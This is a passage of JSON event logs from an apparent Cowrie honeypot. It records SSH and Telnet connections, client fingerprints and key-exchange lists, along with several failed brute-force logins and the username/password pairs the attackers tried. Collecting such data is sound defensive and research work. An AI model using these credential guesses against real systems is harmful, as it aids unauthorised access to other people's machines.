sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:07.438037Z","src_ip":"165.154.23.26","session":"0a06e8c5dcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arkserver123","message":"login attempt [root/arkserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:08.382442Z","src_ip":"165.154.23.26","session":"0a06e8c5dcb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.65170884132385,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:09.541818Z","src_ip":"192.119.13.58","session":"7e6802ed0ac5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:09.620574Z","src_ip":"165.154.23.26","session":"0a06e8c5dcb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":18294,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7c2c41514fe","protocol":"ssh","message":"New connection: 103.24.63.85:18294 (159.203.135.109:22) [session: f7c2c41514fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:10.637822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:10.656872Z","src_ip":"103.24.63.85","session":"f7c2c41514fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:10.853339Z","src_ip":"103.24.63.85","session":"f7c2c41514fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:12.566985Z","src_ip":"103.24.63.85","session":"f7c2c41514fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":50706,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4f0db60fee2","protocol":"ssh","message":"New connection: 77.105.130.18:50706 (159.203.135.109:22) [session: e4f0db60fee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:13.482260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:13.486986Z","src_ip":"77.105.130.18","session":"e4f0db60fee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:13.586428Z","src_ip":"77.105.130.18","session":"e4f0db60fee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:13.818526Z","src_ip":"103.24.63.85","session":"f7c2c41514fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123!@#","message":"login attempt [root/abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:14.017744Z","src_ip":"77.105.130.18","session":"e4f0db60fee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42944,"dst_ip":"10.17.0.5","dst_port":23,"session":"440b98a6ca1a","protocol":"telnet","message":"New connection: 192.119.13.58:42944 (10.17.0.5:23) [session: 440b98a6ca1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:14.404059Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:15.121159Z","src_ip":"77.105.130.18","session":"e4f0db60fee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50744,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f78805a3d0b","protocol":"telnet","message":"New connection: 192.119.13.58:50744 (10.17.0.5:23) [session: 8f78805a3d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:16.310184Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":51918,"dst_ip":"159.203.135.109","dst_port":22,"session":"af0e7547a196","protocol":"ssh","message":"New connection: 103.75.183.219:51918 (159.203.135.109:22) [session: af0e7547a196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:22.488845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:22.495069Z","src_ip":"103.75.183.219","session":"af0e7547a196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:22.743016Z","src_ip":"103.75.183.219","session":"af0e7547a196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":8967,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5942bf2ede7","protocol":"ssh","message":"New connection: 2.57.121.112:8967 (10.17.0.5:22) [session: f5942bf2ede7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:22.848829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:22.855249Z","src_ip":"2.57.121.112","session":"f5942bf2ede7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:22.966387Z","src_ip":"2.57.121.112","session":"f5942bf2ede7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29011973","message":"login attempt [admin/29011973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:23.462897Z","src_ip":"2.57.121.112","session":"f5942bf2ede7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sandra","message":"login attempt [root/sandra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:23.486274Z","src_ip":"103.75.183.219","session":"af0e7547a196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"281291","message":"login attempt [admin/281291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:24.572445Z","src_ip":"2.57.121.112","session":"f5942bf2ede7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:24.742214Z","src_ip":"103.75.183.219","session":"af0e7547a196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"281285","message":"login attempt [admin/281285] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:25.682798Z","src_ip":"2.57.121.112","session":"f5942bf2ede7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.00321841239929,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:26.190208Z","src_ip":"192.119.13.58","session":"9ea7be0f86ae","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"281280","message":"login attempt [admin/281280] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:26.791947Z","src_ip":"2.57.121.112","session":"f5942bf2ede7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.56181788444519,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:26.923949Z","src_ip":"192.119.13.58","session":"6a680ba1a88a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28111961","message":"login attempt [admin/28111961] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:27.902567Z","src_ip":"2.57.121.112","session":"f5942bf2ede7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:29.013975Z","src_ip":"2.57.121.112","session":"f5942bf2ede7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":39912,"dst_ip":"159.203.135.109","dst_port":22,"session":"3038555fbf8a","protocol":"ssh","message":"New connection: 92.207.4.157:39912 (159.203.135.109:22) [session: 3038555fbf8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:30.599787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:30.611837Z","src_ip":"92.207.4.157","session":"3038555fbf8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:30.741417Z","src_ip":"92.207.4.157","session":"3038555fbf8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig!1234","message":"login attempt [root/K0nig!1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:31.207230Z","src_ip":"92.207.4.157","session":"3038555fbf8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":57798,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e76b3b8aa54","protocol":"ssh","message":"New connection: 43.135.176.251:57798 (159.203.135.109:22) [session: 7e76b3b8aa54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:31.975223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:31.980106Z","src_ip":"43.135.176.251","session":"7e76b3b8aa54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:32.048525Z","src_ip":"43.135.176.251","session":"7e76b3b8aa54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:32.319641Z","src_ip":"92.207.4.157","session":"3038555fbf8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"speed666","message":"login attempt [root/speed666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:32.351652Z","src_ip":"43.135.176.251","session":"7e76b3b8aa54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:33.433066Z","src_ip":"43.135.176.251","session":"7e76b3b8aa54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":37366,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d6ee43ba918","protocol":"ssh","message":"New connection: 49.51.241.230:37366 (159.203.135.109:22) [session: 6d6ee43ba918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:37.073802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:37.079737Z","src_ip":"49.51.241.230","session":"6d6ee43ba918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:37.149001Z","src_ip":"49.51.241.230","session":"6d6ee43ba918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.1543173789978,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:37.376008Z","src_ip":"192.119.13.58","session":"69cde9bdf404","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"sammy123","message":"login attempt [root/sammy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:37.455496Z","src_ip":"49.51.241.230","session":"6d6ee43ba918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:38.528140Z","src_ip":"49.51.241.230","session":"6d6ee43ba918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":38658,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b1e9e92af34","protocol":"ssh","message":"New connection: 37.143.61.84:38658 (159.203.135.109:22) [session: 6b1e9e92af34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:42.238508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:42.248380Z","src_ip":"37.143.61.84","session":"6b1e9e92af34","protocol":"ssh"}
